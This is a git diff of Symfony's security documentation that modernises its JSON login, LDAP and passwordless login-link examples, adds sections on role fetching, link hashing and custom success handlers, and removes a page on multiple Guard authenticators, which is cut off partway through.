use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; - use Symfony\Component\HttpFoundation\Request; - use Symfony\Component\Routing\Annotation\Route; - - class SecurityController extends AbstractController - { - /** - * @Route("/login", name="login", methods={"POST"}) - */ - public function login(Request $request) - { - $user = $this->getUser(); - - return $this->json([ - 'username' => $user->getUsername(), - 'roles' => $user->getRoles(), - ]); - } - } - - .. code-block:: yaml - - # config/routes.yaml - login: - path: /login - controller: App\Controller\SecurityController::login - methods: POST - - .. code-block:: xml - - <!-- config/routes.xml --> - <?xml version="1.0" encoding="UTF-8" ?> - <routes xmlns="http://symfony.com/schema/routing" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xsi:schemaLocation="http://symfony.com/schema/routing - https://symfony.com/schema/routing/routing-1.0.xsd"> - - <route id="login" path="/login" controller="App\Controller\SecurityController::login" methods="POST"/> - </routes> - - .. code-block:: php - - // config/routes.php - use App\Controller\SecurityController; - use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator; - - return function (RoutingConfigurator $routes) { - $routes->add('login', '/login') - ->controller([SecurityController::class, 'login']) - ->methods(['POST']) - ; - }; - -Now, when you make a ``POST`` request, with the header ``Content-Type: application/json``, -to the ``/login`` URL with the following JSON document as the body, the security -system intercepts the request and initiates the authentication process: - -.. code-block:: json - - { - "username": "dunglas", - "password": "MyPassword" - } - -Symfony takes care of authenticating the user with the submitted username and -password or triggers an error in case the authentication process fails. If the -authentication is successful, the controller defined earlier will be called. - -If the JSON document has a different structure, you can specify the path to -access the ``username`` and ``password`` properties using the ``username_path`` -and ``password_path`` keys (they default respectively to ``username`` and -``password``). For example, if the JSON document has the following structure: - -.. code-block:: json - - { - "security": { - "credentials": { - "login": "dunglas", - "password": "MyPassword" - } - } - } - -The security configuration should be: - -.. configuration-block:: - - .. code-block:: yaml - - # config/packages/security.yaml - security: - # ... - - firewalls: - main: - anonymous: true - lazy: true - json_login: - check_path: login - username_path: security.credentials.login - password_path: security.credentials.password - - .. code-block:: xml - - <!-- config/packages/security.xml --> - <?xml version="1.0" encoding="UTF-8"?> - <srv:container xmlns="http://symfony.com/schema/dic/security" - xmlns:srv="http://symfony.com/schema/dic/services" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd - http://symfony.com/schema/dic/security - https://symfony.com/schema/dic/security/security-1.0.xsd"> - - <config> - <firewall name="main" anonymous="true" lazy="true"> - <json-login check-path="login" - username-path="security.credentials.login" - password-path="security.credentials.password"/> - </firewall> - </config> - </srv:container> - - .. code-block:: php - - // config/packages/security.php - $container->loadFromExtension('security', [ - 'firewalls' => [ - 'main' => [ - 'anonymous' => true, - 'lazy' => true, - 'json_login' => [ - 'check_path' => 'login', - 'username_path' => 'security.credentials.login', - 'password_path' => 'security.credentials.password', - ], - ], - ], - ]); diff --git a/security/ldap.rst b/security/ldap.rst index ffbf5714b78..c4c3646122b 100644 --- a/security/ldap.rst +++ b/security/ldap.rst @@ -1,6 +1,3 @@ -.. index:: - single: Security; Authenticating against an LDAP server - Authenticating against an LDAP server ===================================== @@ -8,7 +5,7 @@ Symfony provides different means to work with an LDAP server. The Security component offers: -* The ``ldap`` :doc:`user provider </security/user_provider>`, using the +* The ``ldap`` :doc:`user provider </security/user_providers>`, using the :class:`Symfony\\Component\\Ldap\\Security\\LdapUserProvider` class. Like all other user providers, it can be used with any authentication provider. @@ -28,7 +25,7 @@ This means that the following scenarios will work: either the LDAP form login or LDAP HTTP Basic authentication providers. * Checking a user's password against an LDAP server while fetching user - information from another source (database using FOSUserBundle, for + information from another source (like your main database for example). * Loading user information from an LDAP server, while using another @@ -70,6 +67,8 @@ An LDAP client can be configured using the built-in services: Symfony\Component\Ldap\Ldap: arguments: ['@Symfony\Component\Ldap\Adapter\ExtLdap\Adapter'] + tags: + - ldap Symfony\Component\Ldap\Adapter\ExtLdap\Adapter: arguments: - host: my-server @@ -90,6 +89,7 @@ An LDAP client can be configured using the built-in <services> <service id="Symfony\Component\Ldap\Ldap"> <argument type="service" id="Symfony\Component\Ldap\Adapter\ExtLdap\Adapter"/> + <tag name="ldap"/> </service> <service id="Symfony\Component\Ldap\Adapter\ExtLdap\Adapter"> <argument type="collection"> @@ -112,7 +112,8 @@ An LDAP client can be configured using the built-in use Symfony\Component\Ldap\Ldap; $container->register(Ldap::class) - ->addArgument(new Reference(Adapter::class)); + ->addArgument(new Reference(Adapter::class)) + ->tag('ldap'); $container ->register(Adapter::class) @@ -126,6 +127,8 @@ An LDAP client can be configured using the built-in ], ]); +.. _security-ldap-user-provider: + Fetching Users Using the LDAP User Provider ------------------------------------------- @@ -154,7 +157,7 @@ use the ``ldap`` user provider. .. code-block:: xml <!-- config/packages/security.xml --> - <?xml version="1.0" encoding="UTF-8"?> + <?xml version="1.0" encoding="UTF-8" ?> <srv:container xmlns="http://symfony.com/schema/dic/security" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:srv="http://symfony.com/schema/dic/services" @@ -179,31 +182,29 @@ use the ``ldap`` user provider. // config/packages/security.php use Symfony\Component\Ldap\Ldap; - - $container->loadFromExtension('security', [ - 'providers' => [ - 'ldap_users' => [ - 'ldap' => [ - 'service' => Ldap::class, - 'base_dn' => 'dc=example,dc=com', - 'search_dn' => 'cn=read-only-admin,dc=example,dc=com', - 'search_password' => 'password', - 'default_roles' => 'ROLE_USER', - 'uid_key' => 'uid', - 'extra_fields' => ['email'], - ], - ], - ], - ]; - -.. caution:: + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { + $security->provider('ldap_users') + ->ldap() + ->service(Ldap::class) + ->baseDn('dc=example,dc=com') + ->searchDn('cn=read-only-admin,dc=example,dc=com') + ->searchPassword('password') + ->defaultRoles(['ROLE_USER']) + ->uidKey('uid') + ->extraFields(['email']) + ; + }; + +.. danger:: The Security component escapes provided input data when the LDAP user provider is used. However, the LDAP component itself does not provide any escaping yet. Thus, it's your responsibility to prevent LDAP injection attacks when using the component directly. -.. caution:: +.. warning:: The user configured above in the user provider is only used to retrieve data. It's a static user defined by its username and password (for improved @@ -255,6 +256,24 @@ This is the default role you wish to give to a user fetched from the LDAP server. If you do not configure this key, your users won't have any roles, and will not be considered as authenticated fully. +role_fetcher +............ + +**Type**: ``string`` **Default**: ``null`` + +When your LDAP service provides user roles, this option allows you to define +the service that retrieves these roles. The role fetcher service must implement +the ``Symfony\Component\Ldap\Security\RoleFetcherInterface``. When this option +is set, the ``default_roles`` option is ignored. + +Symfony provides ``Symfony\Component\Ldap\Security\MemberOfRoles``, a concrete +implementation of the interface that fetches roles from the ``ismemberof`` +attribute. + +.. versionadded:: 7.3 + + The ``role_fetcher`` configuration option was introduced in Symfony 7.3. + uid_key ....... @@ -285,14 +304,14 @@ filter This key lets you configure which LDAP query will be used. The ``{uid_key}`` string will be replaced by the value of the ``uid_key`` configuration value -(by default, ``sAMAccountName``), and the ``{username}`` string will be -replaced by the username you are trying to load. +(by default, ``sAMAccountName``), and the ``{user_identifier}`` string will be +replaced by the user identified you are trying to load. For example, with a ``uid_key`` of ``uid``, and if you are trying to load the user ``fabpot``, the final string will be: ``(uid=fabpot)``. If you pass ``null`` as the value of this option, the default filter is used -``({uid_key}={username})``. +``({uid_key}={user_identifier})``. To prevent `LDAP injection`_, the username will be escaped. @@ -319,15 +338,15 @@ number or contain white spaces. dn_string ......... -**type**: ``string`` **default**: ``{username}`` +**type**: ``string`` **default**: ``{user_identifier}`` This key defines the form of the string used to compose the -DN of the user, from the username. The ``{username}`` string is +DN of the user, from the username. The ``{user_identifier}`` string is replaced by the actual username of the person trying to authenticate. For example, if your users have DN strings in the form ``uid=einstein,dc=example,dc=com``, then the ``dn_string`` will be -``uid={username},dc=example,dc=com``. +``uid={user_identifier},dc=example,dc=com``. query_string ............ @@ -337,8 +356,8 @@ query_string This (optional) key makes the user provider search for a user and then use the found DN for the bind process. This is useful when using multiple LDAP user providers with different ``base_dn``. The value of this option must be a valid -search string (e.g. ``uid="{username}"``). The placeholder value will be -replaced by the actual username. +search string (e.g. ``uid="{user_identifier}"``). The placeholder value will be +replaced by the actual user identifier. When this option is used, ``query_string`` will search in the DN specified by ``dn_string`` and the DN resulted of the ``query_string`` will be used to @@ -371,12 +390,12 @@ Configuration example for form login form_login_ldap: # ... service: Symfony\Component\Ldap\Ldap - dn_string: 'uid={username},dc=example,dc=com' + dn_string: 'uid={user_identifier},dc=example,dc=com' .. code-block:: xml <!-- config/packages/security.xml --> - <?xml version="1.0" encoding="UTF-8"?> + <?xml version="1.0" encoding="UTF-8" ?> <srv:container xmlns="http://symfony.com/schema/dic/security" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:srv="http://symfony.com/schema/dic/services" @@ -388,7 +407,7 @@ Configuration example for form login <config> <firewall name="main"> <form-login-ldap service="Symfony\Component\Ldap\Ldap" - dn-string="uid={username},dc=example,dc=com"/> + dn-string="uid={user_identifier},dc=example,dc=com"/> </firewall> </config> </srv:container> @@ -397,18 +416,15 @@ Configuration example for form login // config/packages/security.php use Symfony\Component\Ldap\Ldap; + use Symfony\Config\SecurityConfig; - $container->loadFromExtension('security', [ - 'firewalls' => [ - 'main' => [ - 'form_login_ldap' => [ - 'service' => Ldap::class, - 'dn_string' => 'uid={username},dc=example,dc=com', - // ... - ], - ], - ] - ]; + return static function (SecurityConfig $security): void { + $security->firewall('main') + ->formLoginLdap() + ->service(Ldap::class) + ->dnString('uid={user_identifier},dc=example,dc=com') + ; + }; Configuration example for HTTP Basic .................................... @@ -426,12 +442,12 @@ Configuration example for HTTP Basic stateless: true http_basic_ldap: service: Symfony\Component\Ldap\Ldap - dn_string: 'uid={username},dc=example,dc=com' + dn_string: 'uid={user_identifier},dc=example,dc=com' .. code-block:: xml <!-- config/packages/security.xml --> - <?xml version="1.0" encoding="UTF-8"?> + <?xml version="1.0" encoding="UTF-8" ?> <srv:container xmlns="http://symfony.com/schema/dic/security" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:srv="http://symfony.com/schema/dic/services" @@ -445,7 +461,7 @@ Configuration example for HTTP Basic <firewall name="main" stateless="true"> <http-basic-ldap service="Symfony\Component\Ldap\Ldap" - dn-string="uid={username},dc=example,dc=com"/> + dn-string="uid={user_identifier},dc=example,dc=com"/> </firewall> </config> </srv:container> @@ -454,20 +470,16 @@ Configuration example for HTTP Basic // config/packages/security.php use Symfony\Component\Ldap\Ldap; + use Symfony\Config\SecurityConfig; - $container->loadFromExtension('security', [ - // ... - - 'firewalls' => [ - 'main' => [ - 'http_basic_ldap' => [ - 'service' => Ldap::class, - 'dn_string' => 'uid={username},dc=example,dc=com', - ], - 'stateless' => true, - ], - ], - ]; + return static function (SecurityConfig $security): void { + $security->firewall('main') + ->stateless(true) + ->formLoginLdap() + ->service(Ldap::class) + ->dnString('uid={user_identifier},dc=example,dc=com') + ; + }; Configuration example for form login and query_string ..................................................... @@ -486,14 +498,14 @@ Configuration example for form login and query_string form_login_ldap: service: Symfony\Component\Ldap\Ldap dn_string: 'dc=example,dc=com' - query_string: '(&(uid={username})(memberOf=cn=users,ou=Services,dc=example,dc=com))' + query_string: '(&(uid={user_identifier})(memberOf=cn=users,ou=Services,dc=example,dc=com))' search_dn: '...' search_password: 'the-raw-password' .. code-block:: xml <!-- config/packages/security.xml --> - <?xml version="1.0" encoding="UTF-8"?> + <?xml version="1.0" encoding="UTF-8" ?> <srv:container xmlns="http://symfony.com/schema/dic/security" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:srv="http://symfony.com/schema/dic/services" @@ -507,7 +519,7 @@ Configuration example for form login and query_string <!-- ... --> <form-login-ldap service="Symfony\Component\Ldap\Ldap" dn-string="dc=example,dc=com" - query-string="(&(uid={username})(memberOf=cn=users,ou=Services,dc=example,dc=com))" + query-string="(&(uid={user_identifier})(memberOf=cn=users,ou=Services,dc=example,dc=com))" search-dn="..." search-password="the-raw-password"/> </firewall> @@ -518,22 +530,20 @@ Configuration example for form login and query_string // config/packages/security.php use Symfony\Component\Ldap\Ldap; - - $container->loadFromExtension('security', [ - 'firewalls' => [ - 'main' => [ - // ... - 'form_login_ldap' => [ - 'service' => Ldap::class, - 'dn_string' => 'dc=example,dc=com', - 'query_string' => '(&(uid={username})(memberOf=cn=users,ou=Services,dc=example,dc=com))', - 'search_dn' => '...', - 'search_password' => 'the-raw-password', - ], - ], - ] - ]); + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { + $security->firewall('main') + ->stateless(true) + ->formLoginLdap() + ->service(Ldap::class) + ->dnString('dc=example,dc=com') + ->queryString('(&(uid={user_identifier})(memberOf=cn=users,ou=Services,dc=example,dc=com))') + ->searchDn('...') + ->searchPassword('the-raw-password') + ; + }; .. _`LDAP PHP extension`: https://www.php.net/manual/en/intro.ldap.php -.. _`RFC4515`: http://www.faqs.org/rfcs/rfc4515.html +.. _`RFC4515`: https://datatracker.ietf.org/doc/rfc4515/ .. _`LDAP injection`: http://projects.webappsec.org/w/page/13246947/LDAP%20Injection diff --git a/security/login_link.rst b/security/login_link.rst index 3db4f34f8eb..57d353278c2 100644 --- a/security/login_link.rst +++ b/security/login_link.rst @@ -1,7 +1,3 @@ -.. index:: - single: Security; Login link - single: Security; Magic link login - How to use Passwordless Login Link Authentication ================================================= @@ -14,24 +10,18 @@ This authentication method can help you eliminate most of the customer support related to authentication (e.g. I forgot my password, how can I change or reset my password, etc.) -Login links are supported by Symfony when using the experimental -authenticator system. You must -:ref:`enable the authenticator system <security-enable-authenticator-manager>` -in your configuration to use this feature. - Using the Login Link Authenticator ---------------------------------- -This guide assumes you have setup security and have created a user object -in your application. Follow :doc:`the main security guide </security>` if -this is not yet the case. +This guide assumes you have :doc:`setup security and have created a user object </security>` +in your application. 1) Configure the Login Link Authenticator ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The login link authenticator is configured using the ``login_link`` option -under the firewall. You must configure a ``check_route`` and -``signature_properties`` when enabling this authenticator: +under the firewall and requires defining two options called ``check_route`` +and ``signature_properties`` (explained below): .. configuration-block:: @@ -59,7 +49,9 @@ under the firewall. You must configure a ``check_route`` and <config> <firewall name="main"> - <login-link check-route="login_check"/> + <login-link check-route="login_check"> + <signature-property>id</signature-property> + </login-link> </firewall> </config> </srv:container> @@ -67,42 +59,40 @@ under the firewall. You must configure a ``check_route`` and .. code-block:: php // config/packages/security.php - $container->loadFromExtension('security', [ - 'firewalls' => [ - 'main' => [ - 'login_link' => [ - 'check_route' => 'login_check', - ], - ], - ], - ]); + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { + $security->firewall('main') + ->loginLink() + ->checkRoute('login_check') + ->signatureProperties(['id']) + ; + }; The ``signature_properties`` are used to create a signed URL. This must contain at least one property of your ``User`` object that uniquely identifies this user (e.g. the user ID). Read more about this setting :ref:`further down below <security-login-link-signature>`. -The ``check_route`` must be an existing route and it will be used to +The ``check_route`` must be the name of an existing route and it will be used to generate the login link that will authenticate the user. You don't need a controller (or it can be empty) because the login link authenticator will intercept requests to this route: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Controller/SecurityController.php namespace App\Controller; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; - use Symfony\Component\Routing\Annotation\Route; + use Symfony\Component\Routing\Attribute\Route; class SecurityController extends AbstractController { - /** - * @Route("/login_check", name="login_check") - */ - public function check() + #[Route('/login_check', name: 'login_check')] + public function check(): never { throw new \LogicException('This code should never be reached'); } @@ -135,7 +125,7 @@ intercept requests to this route: use App\Controller\DefaultController; use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator; - return function (RoutingConfigurator $routes) { + return function (RoutingConfigurator $routes): void { // ... $routes->add('login_check', '/login_check'); }; @@ -143,9 +133,8 @@ intercept requests to this route: 2) Generate the Login Link ~~~~~~~~~~~~~~~~~~~~~~~~~~ -Now that the authenticator is able to check the login links, you must -create a page where a user can request a login link and log in to your -website. +Now that the authenticator is able to check the login links, you can +create a page where a user can request a login link. The login link can be generated using the :class:`Symfony\\Component\\Security\\Http\\LoginLink\\LoginLinkHandlerInterface`. @@ -158,20 +147,19 @@ this interface:: use App\Repository\UserRepository; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; use Symfony\Component\HttpFoundation\Request; - use Symfony\Component\Routing\Annotation\Route; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Routing\Attribute\Route; use Symfony\Component\Security\Http\LoginLink\LoginLinkHandlerInterface; class SecurityController extends AbstractController { - /** - * @Route("/login", name="login") - */ - public function requestLoginLink(LoginLinkHandlerInterface $loginLinkHandler, UserRepository $userRepository, Request $request) + #[Route('/login', name: 'login')] + public function requestLoginLink(LoginLinkHandlerInterface $loginLinkHandler, UserRepository $userRepository, Request $request): Response { - // check if login form is submitted + // check if form is submitted if ($request->isMethod('POST')) { // load the user in some way (e.g. using the form input) - $email = $request->request->get('email'); + $email = $request->getPayload()->get('email'); $user = $userRepository->findOneBy(['email' => $email]); // create a login link for $user this returns an instance @@ -182,8 +170,8 @@ this interface:: // ... send the link and return a response (see next section) } - // if it's not submitted, render the "login" form - return $this->render('security/login.html.twig'); + // if it's not submitted, render the form to request the "login link" + return $this->render('security/request_login_link.html.twig'); } // ... @@ -191,7 +179,7 @@ this interface:: .. code-block:: html+twig - {# templates/security/login.html.twig #} + {# templates/security/request_login_link.html.twig #} {% extends 'base.html.twig' %} {% block body %} @@ -201,12 +189,12 @@ this interface:: </form> {% endblock %} -In this controller, the user is submitting their e-mail address to the +In this controller, the user is submitting their email address to the controller. Based on this property, the correct user is loaded and a login link is created using :method:`Symfony\\Component\\Security\\Http\\LoginLink\\LoginLinkHandlerInterface::createLoginLink`. -.. caution:: +.. warning:: It is important to send this link to the user and **not show it directly**, as that would allow anyone to login. For instance, use the @@ -217,7 +205,7 @@ link is created using 3) Send the Login Link to the User ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -Now the link is created, it needs to be send to the user. Anyone with the +Now the link is created, it needs to be sent to the user. Anyone with the link is able to login as this user, so you need to make sure to send it to a known device of them (e.g. using e-mail or SMS). @@ -236,13 +224,11 @@ number:: class SecurityController extends AbstractController { - /** - * @Route("/login", name="login") - */ - public function requestLoginLink(NotifierInterface $notifier, LoginLinkHandlerInterface $loginLinkHandler, UserRepository $userRepository, Request $request) + #[Route('/login', name: 'login')] + public function requestLoginLink(NotifierInterface $notifier, LoginLinkHandlerInterface $loginLinkHandler, UserRepository $userRepository, Request $request): Response { if ($request->isMethod('POST')) { - $email = $request->request->get('email'); + $email = $request->getPayload()->get('email'); $user = $userRepository->findOneBy(['email' => $email]); $loginLinkDetails = $loginLinkHandler->createLoginLink($user); @@ -253,7 +239,7 @@ number:: 'Welcome to MY WEBSITE!' // email subject ); // create a recipient for this user - $recipient = (new Recipient())->email($user->getEmail()); + $recipient = new Recipient($user->getEmail()); // send the notification to the user $notifier->send($notification, $recipient); @@ -262,7 +248,7 @@ number:: return $this->render('security/login_link_sent.html.twig'); } - return $this->render('security/login.html.twig'); + return $this->render('security/request_login_link.html.twig'); } // ... @@ -283,7 +269,7 @@ number:: This will send an email like this to the user: .. image:: /_images/security/login_link_email.png - :align: center + :alt: A default Symfony e-mail containing the text "Click on the button below to confirm you want to sign in" and the button with the login link. .. tip:: @@ -293,11 +279,13 @@ This will send an email like this to the user: // src/Notifier/CustomLoginLinkNotification namespace App\Notifier; + use Symfony\Component\Notifier\Message\EmailMessage; + use Symfony\Component\Notifier\Recipient\EmailRecipientInterface; use Symfony\Component\Security\Http\LoginLink\LoginLinkNotification; class CustomLoginLinkNotification extends LoginLinkNotification { - public function asEmailMessage(EmailRecipientInterface $recipient, string $transport = null): ?EmailMessage + public function asEmailMessage(EmailRecipientInterface $recipient, ?string $transport = null): ?EmailMessage { $emailMessage = parent::asEmailMessage($recipient, $transport); @@ -327,6 +315,8 @@ configuration decisions are discussed: * `Invalidate Login Links`_ * `Allow a Link to only be Used Once`_ +.. _login-link-lifetime: + Limit Login Link Lifetime ~~~~~~~~~~~~~~~~~~~~~~~~~ @@ -373,17 +363,20 @@ seconds). You can customize this using the ``lifetime`` option: .. code-block:: php // config/packages/security.php - $container->loadFromExtension('security', [ - 'firewalls' => [ - 'main' => [ - 'login_link' => [ - 'check_route' => 'login_check', - // lifetime in seconds - 'lifetime' => 300, - ], - ], - ], - ]); + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { + $security->firewall('main') + ->loginLink() + ->checkRoute('login_check') + // lifetime in seconds + ->lifetime(300) + ; + }; + +.. tip:: + + You can also :ref:`customize the lifetime per link <customizing-link-lifetime>`. .. _security-login-link-signature: @@ -401,13 +394,20 @@ The signed URL contains 3 parameters: The UNIX timestamp when the link expires. ``user`` - The value returned from ``$user->getUsername()`` for this user. + The value returned from ``$user->getUserIdentifier()`` for this user. ``hash`` A hash of ``expires``, ``user`` and any configured signature properties. Whenever these change, the hash changes and previous login links are invalidated. +For a user that returns ``user@example.com`` on ``$user->getUserIdentifier()`` +call, the generated login link looks like this: + +.. code-block:: text + + http://example.com/login_check?user=user@example.com&expires=1675707377&hash=f0Jbda56Y...A5sUCI~TQF701fwJ...7m2n4A~ + You can add more properties to the ``hash`` by using the ``signature_properties`` option: @@ -448,16 +448,15 @@ You can add more properties to the ``hash`` by using the .. code-block:: php // config/packages/security.php - $container->loadFromExtension('security', [ - 'firewalls' => [ - 'main' => [ - 'login_link' => [ - 'check_route' => 'login_check', - 'signature_properties' => ['id', 'email'], - ], - ], - ], - ]); + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { + $security->firewall('main') + ->loginLink() + ->checkRoute('login_check') + ->signatureProperties(['id', 'email']) + ; + }; The properties are fetched from the user object using the :doc:`PropertyAccess component </components/property_access>` (e.g. using @@ -521,20 +520,20 @@ cache. Enable this support by setting the ``max_uses`` option: .. code-block:: php // config/packages/security.php - $container->loadFromExtension('security', [ - 'firewalls' => [ - 'main' => [ - 'login_link' => [ - 'check_route' => 'login_check', - // only allow the link to be used 3 times - 'max_uses' => 3, - - // optionally, configure the cache pool - //'used_link_cache' => 'cache.redis', - ], - ], - ], - ]); + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { + $security->firewall('main') + ->loginLink() + ->checkRoute('login_check') + + // only allow the link to be used 3 times + ->maxUses(3) + + // optionally, configure the cache pool + //->usedLinkCache('cache.redis') + ; + }; Make sure there is enough space left in the cache, otherwise invalid links can no longer be stored (and thus become valid again). Expired invalid @@ -594,17 +593,16 @@ the authenticator only handle HTTP POST methods: .. code-block:: php // config/packages/security.php - $container->loadFromExtension('security', [ - 'firewalls' => [ - 'main' => [ - 'login_link' => [ - 'check_route' => 'login_check', - 'check_post_only' => true, - 'max_uses' => 1, - ], - ], - ], - ]); + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { + $security->firewall('main') + ->loginLink() + ->checkRoute('login_check') + ->checkPostOnly(true) + ->maxUses(1) + ; + }; Then, use the ``check_route`` controller to render a page that lets the user create this POST request (e.g. by clicking a button):: @@ -617,10 +615,8 @@ user create this POST request (e.g. by clicking a button):: class SecurityController extends AbstractController { - /** - * @Route("/login_check", name="login_check") - */ - public function check() + #[Route('/login_check', name: 'login_check')] + public function check(Request $request): Response { // get the login link query parameters $expires = $request->query->get('expires'); @@ -645,7 +641,7 @@ user create this POST request (e.g. by clicking a button):: <h2>Hi! You are about to login to ...</h2> <!-- for instance, use a form with hidden fields to - create the POST request ---> + create the POST request --> <form action="{{ path('login_check') }}" method="POST"> <input type="hidden" name="expires" value="{{ expires }}"> <input type="hidden" name="user" value="{{ user }}"> @@ -654,3 +650,161 @@ user create this POST request (e.g. by clicking a button):: <button type="submit">Continue</button> </form> {% endblock %} + +Hashing Strategy +~~~~~~~~~~~~~~~~ + +Internally, the :class:`Symfony\\Component\\Security\\Http\\LoginLink\\LoginLinkHandler` +implementation uses the +:class:`Symfony\\Component\\Security\\Core\\Signature\\SignatureHasher` to create the +hash contained in the login link. + +This hasher creates a first hash with the expiration +date of the link, the values of the configured signature properties and the +user identifier. The used hashing algorithm is SHA-256. + +Once this first hash is processed and encoded in Base64, a new one is created +from the first hash value and the ``kernel.secret`` container parameter. This +allows Symfony to sign this final hash, which is contained in the login URL. +The final hash is also a Base64 encoded SHA-256 hash. + +.. _login-link_customize-success-handler: + +Customizing the Success Handler +------------------------------- + +Sometimes, the default success handling does not fit your use-case (e.g. +when you need to generate and return an API key). To customize how the +success handler behaves, create your own handler as a class that implements +:class:`Symfony\\Component\\Security\\Http\\Authentication\\AuthenticationSuccessHandlerInterface`:: + + // src/Security/Authentication/AuthenticationSuccessHandler.php + namespace App\Security\Authentication; + + use Symfony\Component\HttpFoundation\JsonResponse; + use Symfony\Component\HttpFoundation\Request; + use Symfony\Component\Security\Core\Authentication\Token\TokenInterface; + use Symfony\Component\Security\Http\Authentication\AuthenticationSuccessHandlerInterface; + + class AuthenticationSuccessHandler implements AuthenticationSuccessHandlerInterface + { + public function onAuthenticationSuccess(Request $request, TokenInterface $token): JsonResponse + { + $user = $token->getUser(); + $userApiToken = $user->getApiToken(); + + return new JsonResponse(['apiToken' => $userApiToken]); + } + } + +Then, configure this service ID as the ``success_handler``: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/security.yaml + security: + firewalls: + main: + login_link: + check_route: login_check + lifetime: 600 + max_uses: 1 + success_handler: App\Security\Authentication\AuthenticationSuccessHandler + + .. code-block:: xml + + <!-- config/packages/security.xml --> + <?xml version="1.0" encoding="UTF-8"?> + <srv:container xmlns="http://symfony.com/schema/dic/security" + xmlns:srv="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/security + https://symfony.com/schema/dic/security/security-1.0.xsd"> + + <config> + <firewall name="main"> + <login-link check-route="login_check" + check-post-only="true" + max-uses="1" + lifetime="600" + success-handler="App\Security\Authentication\AuthenticationSuccessHandler" + /> + </firewall> + </config> + </srv:container> + + .. code-block:: php + + // config/packages/security.php + use App\Security\Authentication\AuthenticationSuccessHandler; + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { + $security->firewall('main') + ->loginLink() + ->checkRoute('login_check') + ->lifetime(600) + ->maxUses(1) + ->successHandler(AuthenticationSuccessHandler::class) + ; + }; + +.. tip:: + + If you want to customize the default failure handling, use the + ``failure_handler`` option and create a class that implements + :class:`Symfony\\Component\\Security\\Http\\Authentication\\AuthenticationFailureHandlerInterface`. + +Customizing the Login Link +-------------------------- + +The ``createLoginLink()`` method accepts a second optional argument to pass the +``Request`` object used when generating the login link. This allows to customize +features such as the locale used to generate the link:: + + // src/Controller/SecurityController.php + namespace App\Controller; + + // ... + use Symfony\Component\HttpFoundation\Request; + use Symfony\Component\Security\Http\LoginLink\LoginLinkHandlerInterface; + + class SecurityController extends AbstractController + { + #[Route('/login', name: 'login')] + public function requestLoginLink(LoginLinkHandlerInterface $loginLinkHandler, Request $request): Response + { + // check if login form is submitted + if ($request->isMethod('POST')) { + // ... load the user in some way + + // clone and customize Request + $userRequest = clone $request; + $userRequest->setLocale($user->getLocale() ?? $request->getDefaultLocale()); + + // create a login link for $user (this returns an instance of LoginLinkDetails) + $loginLinkDetails = $loginLinkHandler->createLoginLink($user, $userRequest); + $loginLink = $loginLinkDetails->getUrl(); + + // ... + } + + return $this->render('security/request_login_link.html.twig'); + } + + // ... + } + +.. _customizing-link-lifetime: + +By default, generated links use :ref:`the lifetime configured globally <login-link-lifetime>` +but you can change the lifetime per link using the third argument of the +``createLoginLink()`` method:: + + // the third optional argument is the lifetime in seconds + $loginLinkDetails = $loginLinkHandler->createLoginLink($user, null, 60); + $loginLink = $loginLinkDetails->getUrl(); diff --git a/security/multiple_guard_authenticators.rst b/security/multiple_guard_authenticators.rst deleted file mode 100644 index b6ea9ca5f11..00000000000 --- a/security/multiple_guard_authenticators.rst +++ /dev/null @@ -1,181 +0,0 @@ -How to Use Multiple Guard Authenticators -======================================== - -The Guard authentication component allows you to use many different -authenticators at a time. - -An entry point is a service id (of one of your authenticators) whose -``start()`` method is called to start the authentication process. - -Multiple Authenticators with Shared Entry Point ------------------------------------------------ - -Sometimes you want to offer your users different authentication mechanisms like -a form login and a Facebook login while both entry points redirect the user to -the same login page. -However, in your configuration you have to explicitly say which entry point -you want to use. - -This is how your security configuration can look in action: - -.. configuration-block:: - - .. code-block:: yaml - - # config/packages/security.yaml - security: - # ... - firewalls: - default: - anonymous: true - lazy: true - guard: - authenticators: - - App\Security\LoginFormAuthenticator - - App\Security\FacebookConnectAuthenticator - entry_point: App\Security\LoginFormAuthenticator - - .. code-block:: xml - - <!-- config/packages/security.xml --> - <?xml version="1.0" encoding="UTF-8"?> - <srv:container xmlns="http://symfony.com/schema/dic/security" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xmlns:srv="http://symfony.com/schema/dic/services" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd - http://symfony.com/schema/dic/security - https://symfony.com/schema/dic/security/security-1.0.xsd"> - - <config> - <!-- ... --> - <firewall name="default" anonymous="true" lazy="true"> - <guard entry-point="App\Security\LoginFormAuthenticator"> - <authenticator>App\Security\LoginFormAuthenticator</authenticator> - <authenticator>App\Security\FacebookConnectAuthenticator</authenticator> - </guard> - </firewall> - </config> - </srv:container> - - .. code-block:: php - - // config/packages/security.php - use 